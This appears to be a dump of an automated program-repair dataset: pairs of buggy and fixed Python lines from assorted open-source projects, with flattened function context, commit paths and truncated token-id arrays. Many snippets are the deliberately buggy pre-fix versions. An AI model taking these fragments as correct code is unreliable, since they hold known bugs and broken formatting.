[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 13541, 67, 1331, 10910, 67, 6624, 12, 5680, 21, 16, 2291, 22, 4672, 327, 5155, 18, 9273, 12, 1154, 12, 5680, 21, 63, 20, 6487, 2291, 22, 63, 20, 65, 3631, 943, 12, 5680, 21, 63, 21...
def Get(self, section, option, type=None, default=None):
def Get(self, section, option, type=None, default=None, raw=False):
def Get(self, section, option, type=None, default=None): """ Get an option value for given section/option or return default. If type is specified, return as type. """ if type=='bool': getVal=self.getboolean elif type=='int': getVal=self.getint else: getVal=self.get if self.has_option(section,option): #return getVal(section, option, raw, vars, default) return getVal(section, option) else: return default
90f84922ee0de633ab9d552b2021789290573185 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/8546/90f84922ee0de633ab9d552b2021789290573185/configHandler.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 968, 12, 2890, 16, 2442, 16, 1456, 16, 618, 33, 7036, 16, 805, 33, 7036, 16, 1831, 33, 8381, 4672, 3536, 968, 392, 1456, 460, 364, 864, 2442, 19, 3482, 578, 327, 805, 18, 971, 618, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 968, 12, 2890, 16, 2442, 16, 1456, 16, 618, 33, 7036, 16, 805, 33, 7036, 16, 1831, 33, 8381, 4672, 3536, 968, 392, 1456, 460, 364, 864, 2442, 19, 3482, 578, 327, 805, 18, 971, 618, ...
addresses = [(timestamp, address) for address, timestamp in self._potential_peers.iteritems() if timestamp + 60 < now]
self._lock.acquire() try: addresses = [(timestamp, address) for address, timestamp in self._potential_peers.iteritems() if timestamp + 60 < now] if DEBUG: print >> sys.stderr, len(self._connections), "/", len(self._potential_peers), "->", len(addresses) finally: self._lock.release()
def _create_connections(self): now = time()
354d7c6f0c6bf83d54adfae01a2278c8fba87c7f /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9686/354d7c6f0c6bf83d54adfae01a2278c8fba87c7f/MiniBitTorrent.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2640, 67, 13313, 12, 2890, 4672, 2037, 273, 813, 1435, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 2640, 67, 13313, 12, 2890, 4672, 2037, 273, 813, 1435, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100,...
if not _isstring(payload):
if not isinstance(payload, basestring):
def _handle_text(self, msg): payload = msg.get_payload() if payload is None: return cset = msg.get_charset() if cset is not None: payload = cset.body_encode(payload) if not _isstring(payload): raise TypeError, 'string payload expected: %s' % type(payload) if self._mangle_from_: payload = fcre.sub('>From ', payload) self._fp.write(payload)
06f820621b37df5c977e2d2239c494cb51a805fb /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/12029/06f820621b37df5c977e2d2239c494cb51a805fb/Generator.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 4110, 67, 955, 12, 2890, 16, 1234, 4672, 2385, 273, 1234, 18, 588, 67, 7648, 1435, 309, 2385, 353, 599, 30, 327, 276, 542, 273, 1234, 18, 588, 67, 9999, 1435, 309, 276, 542, 353...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 4110, 67, 955, 12, 2890, 16, 1234, 4672, 2385, 273, 1234, 18, 588, 67, 7648, 1435, 309, 2385, 353, 599, 30, 327, 276, 542, 273, 1234, 18, 588, 67, 9999, 1435, 309, 276, 542, 353...
for k in self.compcodes.keys(): self.fp.write("\t%s : %s,\n" % (`k`, self.compcodes[k]))
for k, v in self.namemappers[0].getall('comparison'): self.fp.write("\t%s : %s,\n" % (`k`, v))
def dumpindex(self): self.fp.write("\n#\n# Indices of types declared in this module\n#\n") self.fp.write("_classdeclarations = {\n") for k in self.classcodes.keys(): self.fp.write("\t%s : %s,\n" % (`k`, self.classcodes[k])) self.fp.write("}\n") self.fp.write("\n_propdeclarations = {\n") for k in self.propcodes.keys(): self.fp.write("\t%s : %s,\n" % (`k`, self.propcodes[k])) self.fp.write("}\n") self.fp.write("\n_compdeclarations = {\n") for k in self.compcodes.keys(): self.fp.write("\t%s : %s,\n" % (`k`, self.compcodes[k])) self.fp.write("}\n") self.fp.write("\n_enumdeclarations = {\n") for k in self.enumcodes.keys(): self.fp.write("\t%s : %s,\n" % (`k`, self.enumcodes[k])) self.fp.write("}\n")
0d0698fa0adf7267f5ec2fc36990cfe728e31744 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8125/0d0698fa0adf7267f5ec2fc36990cfe728e31744/gensuitemodule.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4657, 1615, 12, 2890, 4672, 365, 18, 7944, 18, 2626, 31458, 82, 7, 64, 82, 7, 23046, 434, 1953, 7886, 316, 333, 1605, 64, 82, 7, 64, 82, 7923, 365, 18, 7944, 18, 2626, 2932, 67, 11...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4657, 1615, 12, 2890, 4672, 365, 18, 7944, 18, 2626, 31458, 82, 7, 64, 82, 7, 23046, 434, 1953, 7886, 316, 333, 1605, 64, 82, 7, 64, 82, 7923, 365, 18, 7944, 18, 2626, 2932, 67, 11...
def prepareNewReplicas(self):
def prepareNewReplicas( self ):
def prepareNewReplicas(self): """ This is the first logical task to be executed and manages the New->Waiting transition of the Replicas """ res = self.__getNewReplicas() if not res['OK']: gLogger.fatal("RequestPreparation.prepareNewReplicas: Failed to get replicas from StagerDB.",res['Message']) return res if not res['Value']: gLogger.info("There were no New replicas found") return res replicas = res['Value']['Replicas'] replicaIDs = res['Value']['ReplicaIDs'] gLogger.info("RequestPreparation.prepareNewReplicas: Obtained %s New replicas for preparation." % len(replicaIDs))
d68cb60fd991fa9f206177d2794f8d04f940cd00 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/12864/d68cb60fd991fa9f206177d2794f8d04f940cd00/RequestPreparationAgent.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2911, 1908, 17248, 12, 365, 262, 30, 3536, 1220, 353, 326, 1122, 6374, 1562, 358, 506, 7120, 471, 20754, 281, 326, 1166, 2122, 15946, 6007, 434, 326, 31222, 3536, 400, 273, 365, 16186, 5...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 2911, 1908, 17248, 12, 365, 262, 30, 3536, 1220, 353, 326, 1122, 6374, 1562, 358, 506, 7120, 471, 20754, 281, 326, 1166, 2122, 15946, 6007, 434, 326, 31222, 3536, 400, 273, 365, 16186, 5...
bug_fetched = 1
def run(request, response, func=find_first_match): '''Get items from the request Queue, process them with func(), put the results along with the Thread's name into the response Queue. Stop running when item is None.''' while 1: tuple_item_key = request.get() if tuple_item_key is None: break (key, item) = tuple_item_key (url, file, download_size, checksum) = stripper(item) thread_name = threading.currentThread().getName() if key == 'Update': temp_file = file.split("_") PackageName = temp_file[0] PackageName += " - " + temp_file[len(temp_file) - 1] del temp_file #INFO: We pass None as a filename here because we don't want to do a tree search of # update files. Update files are changed daily and there is no point in doing a search of # them in the cache_dir response.put(func(cache_dir, None) ) #INFO: exit_status here would be False because for updates there's no need to do a # find_first_match # This is more with the above statement where None is passed as the filename exit_status = response.get() if exit_status == False: log.msg("Downloading %s\n" % (PackageName) ) if FetcherInstance.download_from_web(url, file, download_path) == True: log.success("\r%s done.%s\n" % (PackageName, " "* 60) ) if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_update_file, file) != True: log.err("Couldn't archive %s to file %s.\n" % (file, ArgumentOptions.zip_update_file) ) sys.exit(1) os.unlink(os.path.join(download_path, file) ) else: errlist.append(file) elif key == 'Upgrade': PackageName = file.split("_")[0] response.put(func(cache_dir, file) ) #INFO: find_first_match() returns False of a file name with absolute path full_file_path = response.get() if full_file_path != False: if ArgumentOptions.disable_md5check is False: if FetcherInstance.md5_check(full_file_path, checksum) is True: if ArgumentOptions.deb_bugs: bug_fetched = 0 if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) bug_fetched = 1 if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_upgrade_file, full_file_path) is True: log.success("%s copied from local cache directory %s\n" % (PackageName, cache_dir) ) if ArgumentOptions.deb_bugs: if FetchBugReportsDebian(PackageName, ArgumentOptions.zip_upgrade_file, lock=True) is True: log.verbose("Fetched bug reports for package %s and archived to file %s.\n" % (PackageName, ArgumentOptions.zip_upgrade_file) ) else: try: shutil.copy(full_file_path, download_path) log.success("%s copied from local cache directory %s\n" % (PackageName, cache_dir) ) except shutil.Error: log.verbose("%s already available in %s. Skipping copy!!!\n\n" % (file, download_path) ) if ArgumentOptions.deb_bugs: if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) else: log.verbose("%s MD5 checksum mismatch. Skipping file.\n" % (file) ) log.msg("Downloading %s - %d KB\n" % (PackageName, download_size/1024) ) if FetcherInstance.download_from_web(url, file, download_path) == True: log.success("\r%s done.%s\n" % (PackageName, " "* 60) ) if ArgumentOptions.cache_dir: try: shutil.copy(file, cache_dir) log.verbose("%s copied to local cache directory %s\n" % (file, ArgumentOptions.cache_dir) ) except shutil.Error: log.verbose("Couldn't copy %s to %s\n\n" % (file, ArgumentOptions.cache_dir) ) if ArgumentOptions.deb_bugs: bug_fetched = 0 if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) bug_fetched = 1 if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_upgrade_file, file) != True: log.err("Couldn't archive %s to file %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) sys.exit(1) os.unlink(os.path.join(download_path, file) ) if bug_fetched: if FetchBugReportsDebian.AddToArchive(ArgumentOptions.zip_upgrade_file): log.verbose("Archived bug reports for package %s to archive %s\n" % (PackageName, ArgumentOptions.zip_upgrade_file) ) else: #INFO: If md5check is disabled, just copy it to the cache_dir try: shutil.copy(full_file_path, download_path) log.success("%s copied from local cache directory %s\n" % (file, cache_dir) ) except shutil.Error: log.verbose("%s already available in dest_dir. Skipping copy!!!\n\n" % (file) ) if ArgumentOptions.deb_bugs: bug_fetched = 0 if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) bug_fetched = 1 file = full_file_path.split("/") file = file[len(file) - 1] if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_upgrade_file, file) != True: log.err("Couldn't archive %s to file %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) sys.exit(1) os.unlink(os.path.join(download_path, file) ) if bug_fetched: if FetchBugReportsDebian.AddToArchive(ArgumentOptions.zip_upgrade_file): log.verbose("Archived bug reports for package %s to archive %s\n" % (PackageName, ArgumentOptions.zip_upgrade_file) ) else: log.verbose("%s not available in local cache %s.\n" % (file, ArgumentOptions.cache_dir) ) log.msg("Downloading %s - %d KB\n" % (PackageName, download_size/1024) ) if FetcherInstance.download_from_web(url, file, download_path) == True: if ArgumentOptions.disable_md5check is False: if FetcherInstance.md5_check(full_file_path, checksum) is True: if ArgumentOptions.cache_dir: try: shutil.copy(file, ArgumentOptions.cache_dir) log.verbose("%s copied to local cache directory %s\n" % (file, ArgumentOptions.cache_dir) ) except shutil.Error: log.verbose("%s already available in %s. Skipping copy!!!\n\n" % (file, ArgumentOptions.cache_dir) ) if ArgumentOptions.deb_bugs: bug_fetched = 0 if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) bug_fetched = 1 if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_upgrade_file, file) != True: log.err("Couldn't archive %s to file %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) sys.exit(1) log.verbose("%s added to archive %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) os.unlink(os.path.join(download_path, file) ) if bug_fetched: if FetchBugReportsDebian.AddToArchive(ArgumentOptions.zip_upgrade_file): log.verbose("Archived bug reports for package %s to archive %s\n" % (PackageName, ArgumentOptions.zip_upgrade_file) ) if ArgumentOptions.deb_bugs: bug_fetched = 0 if FetchBugReportsDebian.FetchBugsDebian(PackageName): log.verbose("Fetched bug reports for package %s.\n" % (PackageName) ) bug_fetched = 1 if ArgumentOptions.zip_it: if FetcherInstance.compress_the_file(ArgumentOptions.zip_upgrade_file, file) != True: log.err("Couldn't archive %s to file %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) sys.exit(1) log.verbose("%s added to archive %s\n" % (file, ArgumentOptions.zip_upgrade_file) ) os.unlink(os.path.join(download_path, file) ) log.success("\r%s done.%s\n" % (PackageName, " "* 60) ) else: #log.err("Couldn't find %s\n" % (PackageName) ) errlist.append(PackageName)
43ad714260de26301e9353209005b0a6d420abe3 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/12499/43ad714260de26301e9353209005b0a6d420abe3/pypt_core.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1086, 12, 2293, 16, 766, 16, 1326, 33, 4720, 67, 3645, 67, 1916, 4672, 9163, 967, 1516, 628, 326, 590, 7530, 16, 1207, 2182, 598, 1326, 9334, 1378, 326, 1686, 7563, 598, 326, 4884, 180...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1086, 12, 2293, 16, 766, 16, 1326, 33, 4720, 67, 3645, 67, 1916, 4672, 9163, 967, 1516, 628, 326, 590, 7530, 16, 1207, 2182, 598, 1326, 9334, 1378, 326, 1686, 7563, 598, 326, 4884, 180...
def translate(self, table, deletechars=""): return self.__class__(self.data.translate(table, deletechars))
def translate(self, *args): return self.__class__(self.data.translate(*args))
def translate(self, table, deletechars=""): return self.__class__(self.data.translate(table, deletechars))
153b65eb54e7775c6716ea8106ff6abc7693239b /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8125/153b65eb54e7775c6716ea8106ff6abc7693239b/UserString.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4204, 12, 2890, 16, 1014, 16, 1430, 7549, 1546, 6, 4672, 327, 365, 16186, 1106, 972, 12, 2890, 18, 892, 18, 13929, 12, 2121, 16, 1430, 7549, 3719, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 4204, 12, 2890, 16, 1014, 16, 1430, 7549, 1546, 6, 4672, 327, 365, 16186, 1106, 972, 12, 2890, 18, 892, 18, 13929, 12, 2121, 16, 1430, 7549, 3719, 2, -100, -100, -100, -100, -100, -100...
axis1_in = hlr_utils.get_value(obj,i,o_descr,"x",0) axis2_in = hlr_utils.get_value(obj,i,o_descr,"x",1) val = hlr_utils.get_value(obj,i,o_descr) err2 = hlr_utils.get_err2(obj,i,o_descr)
axis1_in = hlr_utils.get_value(obj, i, o_descr, "x", 0) axis2_in = hlr_utils.get_value(obj, i, o_descr, "x", 1) val = hlr_utils.get_value(obj, i, o_descr) err2 = hlr_utils.get_err2(obj, i, o_descr)
def rebin_axis_2D(obj,axis1_out,axis2_out): """ This function rebins two primary axes for a SOM or a SO based on the given NessiList axis1 and axis2. Parameters: ---------- -> obj is the SOM or SO to be rebinned -> axis1_out is a NessiList containing the 1st axis to rebin the SOM or SO to -> axis2_out is a NessiList containing the 2nd axis to rebin the SOM or SO to Returns: ------- <- A SOM or SO that has been rebinned according to the provided axis Exceptions: ---------- <- TypeError is raised if the rebinning axis given is not a NessiList <- TypeError is raised if object being rebinned is not a SOM or a SO """ # import the helper functions import hlr_utils # set up for working through data try: axis1_out.__type__ except AttributeError: raise TypeError, "Rebinning axis 1 must be a NessiList!" try: axis2_out.__type__ except AttributeError: raise TypeError, "Rebinning axis 2 must be a NessiList!" (o_descr,d_descr)=hlr_utils.get_descr(obj) if o_descr == "number" or o_descr == "list": raise TypeError, "Do not know how to handle given type %s" %\ o_descr else: pass (result,res_descr)=hlr_utils.empty_result(obj) result=hlr_utils.copy_som_attr(result,res_descr,obj,o_descr) # iterate through the values import axis_manip for i in range(hlr_utils.get_length(obj)): axis1_in = hlr_utils.get_value(obj,i,o_descr,"x",0) axis2_in = hlr_utils.get_value(obj,i,o_descr,"x",1) val = hlr_utils.get_value(obj,i,o_descr) err2 = hlr_utils.get_err2(obj,i,o_descr) value=axis_manip.rebin_axis_2D(axis1_in, axis2_in, val, err2, axis1_out, axis2_out) xvals=[] xvals.append(axis1_out) xvals.append(axis2_out) map_so = hlr_utils.get_map_so(obj,None,i) hlr_utils.result_insert(result,res_descr,value,map_so,"all",0,xvals) return result
2b591660dbdfac3a152b52f87f0a3b8c577328f0 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/763/2b591660dbdfac3a152b52f87f0a3b8c577328f0/hlr_rebin_axis_2D.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 283, 4757, 67, 4890, 67, 22, 40, 12, 2603, 16, 4890, 21, 67, 659, 16, 4890, 22, 67, 659, 4672, 3536, 1220, 445, 283, 11862, 2795, 3354, 6515, 364, 279, 348, 1872, 578, 279, 7460, 251...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 283, 4757, 67, 4890, 67, 22, 40, 12, 2603, 16, 4890, 21, 67, 659, 16, 4890, 22, 67, 659, 4672, 3536, 1220, 445, 283, 11862, 2795, 3354, 6515, 364, 279, 348, 1872, 578, 279, 7460, 251...
if self._style == "coroots" and all(xv in ZZ for xv in x):
if self._style == "coroots" and isinstance(x, tuple) and all(xv in ZZ for xv in x):
def __call__(self, *args): """ Coerces the element into the ring. You may pass a vector in the ambient space, an element of the base_ring, or an argument list of integers (or half-integers for the spin types) which are the components of a vector in the ambient space. INPUT: - ``x`` - a ring element to be coerced; or - ``*args`` - the components of a vector EXAMPLES:: sage: A2 = WeylCharacterRing("A2") sage: [A2(x) for x in [-2,-1,0,1,2]] [-2*A2(0,0,0), -A2(0,0,0), 0, A2(0,0,0), 2*A2(0,0,0)] sage: [A2(2,1,0), A2([2,1,0]), A2(2,1,0)== A2([2,1,0])] [A2(2,1,0), A2(2,1,0), True] sage: A2([2,1,0]) == A2(2,1,0) True sage: l = -2*A2(0,0,0) - A2(1,0,0) + A2(2,0,0) + 2*A2(3,0,0) sage: [l in A2, A2(l) == l] [True, True] sage: P.<q> = QQ[] sage: A2 = WeylCharacterRing(['A',2], base_ring = P) sage: [A2(x) for x in [-2,-1,0,1,2,-2*q,-q,q,2*q,(1-q)]] [-2*A2(0,0,0), -A2(0,0,0), 0, A2(0,0,0), 2*A2(0,0,0), -2*q*A2(0,0,0), -q*A2(0,0,0), q*A2(0,0,0), 2*q*A2(0,0,0), (-q+1)*A2(0,0,0)] """ if len(args) == 1: x = args[0] else: x = args
d856e8ccbe83020c208e182336b6c85e147f2d8c /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/9890/d856e8ccbe83020c208e182336b6c85e147f2d8c/weyl_characters.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 1991, 972, 12, 2890, 16, 380, 1968, 4672, 3536, 7695, 264, 764, 326, 930, 1368, 326, 9221, 18, 4554, 2026, 1342, 279, 3806, 316, 326, 13232, 1979, 3476, 16, 392, 930, 434, 326, 1...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1001, 1991, 972, 12, 2890, 16, 380, 1968, 4672, 3536, 7695, 264, 764, 326, 930, 1368, 326, 9221, 18, 4554, 2026, 1342, 279, 3806, 316, 326, 13232, 1979, 3476, 16, 392, 930, 434, 326, 1...
H = int(info['H']) - offset
H = int(info['H'])
def set(self, spec, offset=0, date_re=date_re, serialised_re=serialised_date_re, add_granularity=0): ''' set the date to the value in spec '''
62505e0bcc42918df13be675a9eb2c6e47432232 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/1906/62505e0bcc42918df13be675a9eb2c6e47432232/date.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 444, 12, 2890, 16, 857, 16, 1384, 33, 20, 16, 1509, 67, 266, 33, 712, 67, 266, 16, 2734, 5918, 67, 266, 33, 8818, 5918, 67, 712, 67, 266, 16, 527, 67, 75, 27234, 33, 20, 4672, 91...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 444, 12, 2890, 16, 857, 16, 1384, 33, 20, 16, 1509, 67, 266, 33, 712, 67, 266, 16, 2734, 5918, 67, 266, 33, 8818, 5918, 67, 712, 67, 266, 16, 527, 67, 75, 27234, 33, 20, 4672, 91...
newsize_high = rffi.cast(INT, 0) newsize_low = rffi.cast(INT, newsize)
newsize_high = 0 newsize_low = newsize
def resize(self, newsize): self.check_valid() self.check_resizeable() if _POSIX: if not has_mremap: msg = "mmap: resizing not available -- no mremap()" raise REnvironmentError(msg) # resize the underlying file first try: os.ftruncate(self.fd, newsize) except OSError, e: raise REnvironmentError(os.strerror(e.errno)) # now resize the mmap newdata = c_mremap(self.getptr(0), self.size, newsize, MREMAP_MAYMOVE or 0) self.setdata(newdata, newsize) elif _MS_WINDOWS: # disconnect the mapping self.unmapview() CloseHandle(self.map_handle)
f53cdc52815837ae3e6f65a826fcb8f8fb920d3f /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/6934/f53cdc52815837ae3e6f65a826fcb8f8fb920d3f/rmmap.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7041, 12, 2890, 16, 394, 1467, 4672, 365, 18, 1893, 67, 877, 1435, 225, 365, 18, 1893, 67, 15169, 429, 1435, 225, 309, 389, 2419, 31773, 30, 309, 486, 711, 67, 81, 266, 1458, 30, 123...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7041, 12, 2890, 16, 394, 1467, 4672, 365, 18, 1893, 67, 877, 1435, 225, 365, 18, 1893, 67, 15169, 429, 1435, 225, 309, 389, 2419, 31773, 30, 309, 486, 711, 67, 81, 266, 1458, 30, 123...
"""Open the readme.""" def AppendToMenu(self,menu,window,data): Link.AppendToMenu(self,menu,window,data) menuItem = wx.MenuItem(menu,self.id,_('Readme...')) menu.AppendItem(menuItem) menuItem.Enable(len(data) == 1) def Execute(self,event): fileName = GPath(self.data[0]) fileInfo = self.window.data[fileName] if not docBrowser: DocBrowser().Show() settings['bash.modDocs.show'] = True docBrowser.SetMod(fileInfo.name) docBrowser.Raise()
"""Open the readme.""" def AppendToMenu(self,menu,window,data): Link.AppendToMenu(self,menu,window,data) menuItem = wx.MenuItem(menu,self.id,_('Readme...')) menu.AppendItem(menuItem) menuItem.Enable(len(data) == 1) def Execute(self,event): fileName = GPath(self.data[0]) fileInfo = self.window.data[fileName] if not docBrowser: DocBrowser().Show() settings['bash.modDocs.show'] = True docBrowser.SetMod(fileInfo.name) docBrowser.Raise()
def Execute(self,event): message = _("In some circumstances, editing a mod will leave orphaned cell records in the world group. This command will remove such orphans.") if not balt.askContinue(self.window,message,'bash.removeWorldOrphans.continue',_('Remove World Orphans')): return for item in self.data: fileName = GPath(item) if item == 'Fallout3.esm': balt.showWarning(self.window,_("Skipping %s") % fileName.s,_('Remove World Orphans')) continue fileInfo = bosh.modInfos[fileName] #--Export progress = balt.Progress(_("Remove World Orphans")) orphans = 0 try: loadFactory = bosh.LoadFactory(True,bosh.MreCell,bosh.MreWrld) modFile = bosh.ModFile(fileInfo,loadFactory) progress(0,_("Reading %s.") % (fileName.s,)) modFile.load(True,SubProgress(progress,0,0.7)) orphans = ('WRLD' in modFile.tops) and modFile.WRLD.orphansSkipped if orphans: progress(0.1,_("Saving %s.") % (fileName.s,)) modFile.safeSave() progress(1.0,_("Done.")) finally: progress = progress.Destroy() #--Log if orphans: balt.showOk(self.window,_("Orphan cell blocks removed: %d.") % (orphans,),fileName.s) else: balt.showOk(self.window,_("No changes required."),fileName.s)
3ac43907fa076fea1e8d682219e2b28fc7419f7b /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/6682/3ac43907fa076fea1e8d682219e2b28fc7419f7b/basher.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7903, 12, 2890, 16, 2575, 4672, 883, 273, 389, 2932, 382, 2690, 29951, 2639, 16, 15755, 279, 681, 903, 8851, 31124, 2484, 3853, 316, 326, 9117, 1041, 18, 1220, 1296, 903, 1206, 4123, 578...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
